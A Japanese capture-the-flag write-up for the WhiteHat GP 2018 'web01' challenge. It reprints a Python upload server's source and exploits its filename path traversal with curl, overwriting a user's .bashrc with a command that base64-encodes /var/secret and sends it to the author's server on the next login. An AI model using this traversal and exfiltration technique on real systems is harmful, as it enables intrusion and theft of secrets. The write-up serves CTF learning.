WhiteHat GP 2018 - web01
問題文
manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check var/secret. Can you get it?
writeup
ファイルを選択してアップロードできる。
また、アップロードしたファイルが一覧表示される。
なお、ログインは無く、個人ごとに領域が設けられていないため、
他の挑戦者がアップロードしたファイルも見ることができる。
問題文より、2分おきに環境がリセットされて、1分おきにmanhnddがvar/secretを見に行くとのこと。
var/secretにフラグが書いてあるのだろう。
1. 調査
1.1. アップロード機能の確認
試しにtest.txtをアップロードしてみた。
/opt/test.txtにファイルがアップロードされたようだ。
なお、アップロード完了画面のhereリンクを押下すると、ランダムに別サイトへリダイレクトする画面に遷移した。
1.2. ソースコード確認
アップロード画面を観察していると、常にSimpleHTTPServerWithUpload.pyが存在することに気付く。
参照してみると、どうやらこのアップロード画面の実装ソースコードのようだ。
#!/usr/bin/env python """Simple HTTP Server With Upload. This module builds on BaseHTTPServer by implementing the standard GET and HEAD requests in a fairly straightforward manner. """ __version__ = "0.1" __all__ = ["SimpleHTTPRequestHandler"] __author__ = "bones7456" __home_page__ = "http://li2z.cn/" import os import posixpath import BaseHTTPServer import urllib import cgi import shutil import mimetypes import re try: from cStringIO import StringIO except ImportError: from StringIO import StringIO class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): """Simple HTTP request handler with GET/HEAD/POST commands. This serves files from the current directory and any of its subdirectories. The MIME type for files is determined by calling the .guess_type() method. And can reveive file uploaded by client. The GET/HEAD/POST requests are identical except that the HEAD request omits the actual contents of the file. """ server_version = "SimpleHTTPWithUpload/" + __version__ def do_GET(self): """Serve a GET request.""" f = self.send_head() if f: self.copyfile(f, self.wfile) f.close() def do_HEAD(self): """Serve a HEAD request.""" f = self.send_head() if f: f.close() def do_POST(self): """Serve a POST request.""" r, info = self.deal_post_data() print r, info, "by: ", self.client_address f = StringIO() f.write('<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">') f.write("<html>\n<title>Upload Result Page</title>\n") f.write("<body>\n<h2>Upload Result Page</h2>\n") f.write("<hr>\n") if r: f.write("<strong>Success:</strong>") else: f.write("<strong>Failed:</strong>") f.write(info) f.write("<br><a href=\"%s\">back</a>" % self.headers['referer']) f.write("<hr><small>Powerd By: bones7456, check new version at ") f.write("<a href=\"http://li2z.cn/?s=SimpleHTTPServerWithUpload\">") f.write("here</a>.</small></body>\n</html>\n") length = f.tell() f.seek(0) self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Content-Length", str(length)) self.end_headers() if f: self.copyfile(f, self.wfile) f.close() def deal_post_data(self): boundary = self.headers.plisttext.split("=")[1] remainbytes = int(self.headers['content-length']) line = self.rfile.readline() remainbytes -= len(line) if not boundary in line: return (False, "Content NOT begin with boundary") line = self.rfile.readline() remainbytes -= len(line) fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line) if not fn: return (False, "Can't find out file name...") path = self.translate_path(self.path) fn = os.path.join(path, fn[0]) if "index" in fn.lower(): return (False, "Can't create file to write, do you have permission to write?") line = self.rfile.readline() remainbytes -= len(line) line = self.rfile.readline() remainbytes -= len(line) try: out = open(fn, 'wb') except IOError: return (False, "Can't create file to write, do you have permission to write?") preline = self.rfile.readline() remainbytes -= len(preline) while remainbytes > 0: line = self.rfile.readline() remainbytes -= len(line) if boundary in line: preline = preline[0:-1] if preline.endswith('\r'): preline = preline[0:-1] out.write(preline) out.close() return (True, "File '%s' upload success!" % fn) else: out.write(preline) preline = line return (False, "Unexpect Ends of data.") def send_head(self): """Common code for GET and HEAD commands. This sends the response code and MIME headers. Return value is either a file object (which has to be copied to the outputfile by the caller unless the command was HEAD, and must be closed by the caller under all circumstances), or None, in which case the caller has nothing further to do. """ path = self.translate_path(self.path) f = None if os.path.isdir(path): if not self.path.endswith('/'): # redirect browser - doing basically what apache does self.send_response(301) self.send_header("Location", self.path + "/") self.end_headers() return None for index in "index.html", "index.htm": index = os.path.join(path, index) if os.path.exists(index): path = index break else: return self.list_directory(path) ctype = self.guess_type(path) try: # Always read in binary mode. Opening files in text mode may cause # newline translations, making the actual size of the content # transmitted *less* than the content-length! f = open(path, 'rb') except IOError: self.send_error(404, "File not found") return None self.send_response(200) self.send_header("Content-type", ctype) fs = os.fstat(f.fileno()) self.send_header("Content-Length", str(fs[6])) self.send_header("Last-Modified", self.date_time_string(fs.st_mtime)) self.end_headers() return f def list_directory(self, path): """Helper to produce a directory listing (absent index.html). Return value is either a file object, or None (indicating an error). In either case, the headers are sent, making the interface the same as for send_head(). """ try: list = os.listdir(path) except os.error: self.send_error(404, "No permission to list directory") return None list.sort(key=lambda a: a.lower()) f = StringIO() displaypath = cgi.escape(urllib.unquote(self.path)) f.write('<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">') f.write("<html>\n<title>Directory listing for %s</title>\n" % displaypath) f.write("<body>\n<h2>Directory listing for %s</h2>\n" % displaypath) f.write("<hr>\n") f.write("<form ENCTYPE=\"multipart/form-data\" method=\"post\">") f.write("<input name=\"file\" type=\"file\"/>") f.write("<input type=\"submit\" value=\"upload\"/></form>\n") f.write("<hr>\n<ul>\n") for name in list: fullname = os.path.join(path, name) displayname = linkname = name # Append / for directories or @ for symbolic links if os.path.isdir(fullname): displayname = name + "/" linkname = name + "/" if os.path.islink(fullname): displayname = name + "@" # Note: a link to a directory displays with @ and links with / f.write('<li><a href="%s">%s</a>\n' % (urllib.quote(linkname), cgi.escape(displayname))) f.write("</ul>\n<hr>\n</body>\n</html>\n") length = f.tell() f.seek(0) self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Content-Length", str(length)) self.end_headers() return f def translate_path(self, path): """Translate a /-separated PATH to the local filename syntax. Components that mean special things to the local file system (e.g. drive or directory names) are ignored. (XXX They should probably be diagnosed.) """ # abandon query parameters path = path.split('?',1)[0] path = path.split('#',1)[0] path = posixpath.normpath(urllib.unquote(path)) words = path.split('/') words = filter(None, words) path = os.getcwd() for word in words: drive, word = os.path.splitdrive(word) head, word = os.path.split(word) if word in (os.curdir, os.pardir): continue path = os.path.join(path, word) return path def copyfile(self, source, outputfile): """Copy all data between two file objects. The SOURCE argument is a file object open for reading (or anything with a read() method) and the DESTINATION argument is a file object open for writing (or anything with a write() method). The only reason for overriding this would be to change the block size or perhaps to replace newlines by CRLF -- note however that this the default server uses this to copy binary data as well. """ shutil.copyfileobj(source, outputfile) def guess_type(self, path): """Guess the type of a file. Argument is a PATH (a filename). Return value is a string of the form type/subtype, usable for a MIME Content-type header. The default implementation looks the file's extension up in the table self.extensions_map, using application/octet-stream as a default; however it would be permissible (if slow) to look inside the data to make a better guess. """ base, ext = posixpath.splitext(path) if ext in self.extensions_map: return self.extensions_map[ext] ext = ext.lower() if ext in self.extensions_map: return self.extensions_map[ext] else: return self.extensions_map[''] if not mimetypes.inited: mimetypes.init() # try to read system mime.types extensions_map = mimetypes.types_map.copy() extensions_map.update({ '': 'application/octet-stream', # Default '.py': 'text/plain', '.c': 'text/plain', '.h': 'text/plain', }) def test(HandlerClass = SimpleHTTPRequestHandler, ServerClass = BaseHTTPServer.HTTPServer): BaseHTTPServer.test(HandlerClass, ServerClass) if __name__ == '__main__': test()
authorのbones7456で検索すると、公開されているソースコードがいくつかヒット。
流行っていたのだろうか？
なお、pythonの標準ライブラリであるSimpleHTTPServer.pyを改造して、アップロード機能を追加したソースコードのようだ。
- bones7456/SimpleHTTPServerWithUpload.py at master · bones7456/bones7456 · GitHub
- Simple HTTP Server With Upload. Source: http://bones7456.googlecode.com/svn/trunk/SimpleHTTPServerWithUpload.py · GitHub
- Simple Python Http Server with Upload · GitHub
3つ目のサイトのコメント欄に興味深いコメントを発見。
https://gist.github.com/UniIsland/3346170#gistcomment-2094827
As @fake-name said, the upload functionality contains a vulnerability, which has been discussed here 0 and here 1.
1のリンク先はこちら。
Finding an arbitrary file upload vulnerability in a filesharing script | Sebastian Neef - 0day.work
アップロード機能にディレクトリトラバーサルの脆弱性があることが指摘されている！
2.攻略
curlコマンドを使用し、filenameに..を使用し、アップロードを試す。
root@kali:Web01# curl http://web01.grandprix.whitehatvn.com/ -H "referer: hoge" -F 'file=@payload.txt;filename=../tmp/hoge' <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <title>Upload Result Page</title> <body> <h2>Upload Result Page</h2> <hr> <strong>Success:</strong>File '/opt/../tmp/hoge' upload success!<br><a href="hoge">back</a><hr><small>Powerd By: bones7456, check new version at <a href="http://li2z.cn/?s=SimpleHTTPServerWithUpload">here</a>.</small></body> </html>
/tmp配下へのアップロードに成功した。
ただ、/var/secretへのアップロードはパーミッションでエラーになるし、そもそも参照したいのであって、上書きしても仕方がない。
ここからしばらく悩むが、問題文を読み直すと、manhnddが1分おきにsshでログインしているようだ。
manhnddのホームディレクトリにアップロードできるか確認する。
root@kali:Web01# curl http://web01.grandprix.whitehatvn.com/ -H "referer: hoge" -F 'file=@payload.txt;filename=../home/manhndd/hoge' <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <title>Upload Result Page</title> <body> <h2>Upload Result Page</h2> <hr> <strong>Success:</strong>File '/opt/../home/manhndd/hoge' upload success!<br><a href="hoge">back</a><hr><small>Powerd By: bones7456, check new version at <a href="http://li2z.cn/?s=SimpleHTTPServerWithUpload">here</a>.</small></body> </html>
ビンゴ。
sshログイン時に実行される.bashrcに、自分のWebサーバへ/var/secretの内容を送るコマンドで上書きする。
root@kali:Web01# cat payload.txt curl http://myserver/?q=`cat /var/secret|base64` root@kali:Web01# curl http://web01.grandprix.whitehatvn.com/ -H "referer: hoge" -F 'file=@payload.txt;filename=../home/manhndd/.bashrc' <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <title>Upload Result Page</title> <body> <h2>Upload Result Page</h2> <hr> <strong>Success:</strong>File '/opt/../home/manhndd/.bashrc' upload success!<br><a href="hoge">back</a><hr><small>Powerd By: bones7456, check new version at <a href="http://li2z.cn/?s=SimpleHTTPServerWithUpload">here</a>.</small></body> </html>
少し待つと、Webサーバにアクセスが来た。
149.28.156.7 - - [18/Aug/2018:20:04:29 +0900] "GET /?q=ZzFmdGZyMG1OUQo= HTTP/1.1" 200 232 "-" "curl/7.58.0"
BASE64デコードし、フラグはsha1の値ということなので変換。
root@kali:Web01# echo ZzFmdGZyMG1OUQo= | base64 -d g1ftfr0mNQ root@kali:Web01# echo -n g1ftfr0mNQ | sha1sum de88772f933d8447b9b8c5e22ce399ba512180e0 -
WhietHat{de88772f933d8447b9b8c5e22ce399ba512180e0}
フラグゲット。
